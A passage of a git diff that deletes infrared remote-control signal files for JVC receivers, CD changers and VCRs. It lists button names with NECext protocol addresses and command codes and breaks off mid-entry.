-protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: TV_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: CD_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: TRACK_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: CD_10KEY_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: CD_TRACK_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: TRACK_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: CD_10KEY_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: CD_TRACK_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: TRACK_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: CD_10KEY_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: CD_TRACK_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: TV_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: CD_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: CD_10_CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: TRACK_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: CD_10KEY_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: CD_TRACK_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: TV_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: CD_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: CD_<<_(6) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: CD_REW_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: CD_SEARCH_REV_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: CD_REV_(<_<<) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: CD_CHANGER_PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: CD_CHANGER_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: DISC_PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: CD_DISC_PRGM(10) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: CD_0_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: CD_PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: CD_CHANGER_MAG.PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: MAG.PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: MAG._PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: CD_CHANGER_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: DISC_MAG.PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: CD_+10_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: CD_>>_(P) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: CD_FFWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: CD_SEARCH_FWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: CD_FWD_(>_>>) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: CD_CHANGER_CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CD_CHANGER_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: DISC_CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CD_DISC_CONTINUE(9) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CD_10_(DISC)_CONTIN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CD_CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CD_DISC_P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_CHANGER_P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_DISC_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: DISC_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_CHANGER_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: DISC_P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_DISC_P_(7) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_DISC_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_7/P_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_DISC_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_DISC_1_(>) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_CHANGER_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_1_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_DISC_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_DISC_2_(<<) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_CHANGER_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_2_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_DISC_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_DISC_3_(>>) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_CHANGER_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_3_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_DISC_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_DISC_4_([]) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_CHANGER_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_4_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_DISC_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_DISC_5_() -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_CHANGER_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_5_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_DISC_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: CD_DISC_6_(<<) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: CD_CHANGER_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: CD_6_(DISC) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir deleted file mode 100644 index 0e91e508d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VDP_STOP_[] -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 43 00 00 00 -# -name: VDP_PLAY_> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 4C 00 00 00 -# -name: VDP_PAUSE_ -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 4D 00 00 00 -# -name: VDP_SKIP_<< -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 58 00 00 00 -# -name: VDP_SKIP_>> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 59 00 00 00 -# -name: VDP_0 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 60 00 00 00 -# -name: VDP_1 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 61 00 00 00 -# -name: VDP_2 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 62 00 00 00 -# -name: VDP_3 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 63 00 00 00 -# -name: VDP_4 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 64 00 00 00 -# -name: VDP_5 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 65 00 00 00 -# -name: VDP_6 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 66 00 00 00 -# -name: VDP_7/P -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 67 00 00 00 -# -name: VDP_8 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 68 00 00 00 -# -name: VDP_9 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 69 00 00 00 -# -name: VDP_10_CONTINUE -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 6E 00 00 00 -# -name: VDP_+10 -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 6F 00 00 00 -# -name: VDP_SEARCH_<< -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 70 00 00 00 -# -name: VDP_SEARCH_>> -type: parsed -protocol: NECext -address: BF 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir deleted file mode 100644 index 8e21fe668..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CC_CONVERTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir deleted file mode 100644 index 915e2737d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir +++ /dev/null @@ -1,530 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MAIN/SAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: TV_RETURN_(10) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: ANT/CABLE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: AV_STATUS/RESET -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV/CAT/SAT_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TV_CH_10_CONTINUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: VIDEO_PRESET_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_-_(<_<<) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_PRESET_CH_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_+10_PRGM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: VIDEO_PRESET_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_+_(>_>>) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: TV_PRESET_CH_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: TV_VOL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOL_+_(+_>) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOL+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: TV_VOL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: TV_VOL_-_(<_<<) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: TV_VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: TV_VOL- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_CH_0_MAG.PRGM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: VIDEO_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_CH_1_63HZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_CH_2_160HZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_CH_3_400HZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_CH_4_1KHZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_CH_5_2.5KHZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_CH_6_6.3KHZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: VIDEO_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_CH_7/P_CH_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: VIDEO_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_CH_8_CH_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: VIDEO_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_CH_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: VIDEO_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: CATEGORY_PREVIEW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: BIPHONIC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: VNR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 45 00 00 00 -# -name: FUNCTION_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: FUNCTION_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: NOTCH -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 74 00 00 00 -# -name: TV_100+_(+10) -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: 100+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: FUNCTION_FORWARD_V -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: FUNCTION_BACK_^ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir deleted file mode 100644 index b7d2109f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SURR:EX/ES/PLII -type: parsed -protocol: NECext -address: 22 54 00 00 -command: 10 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 22 54 00 00 -command: 91 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir deleted file mode 100644 index 3ea1f9e35..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir +++ /dev/null @@ -1,644 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_STOP_[]_(4) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: CONTROL_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_STOP[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR1_STOP_(-_[]) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR1_STOP_[] -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_>>_(P) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FFWD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FF_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR1_FFWD_(>_>>) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FF/>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR1_FFWD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_<<_(6) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR1_REW_(<_<<) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_REW/<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR1_REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR1_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: POWER_VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: VCR_PLAY_>_(1) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PLAY> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR1_PLAY_(+_>) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR1_PLAY_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PAUSE_(5) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE/STILL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR1_PAUSE_() -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR1_PAUSE_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: TV_(CONTROL) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: VCR_10KEY_PRGM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CHANNEL_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR1_PRESET_CH- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: 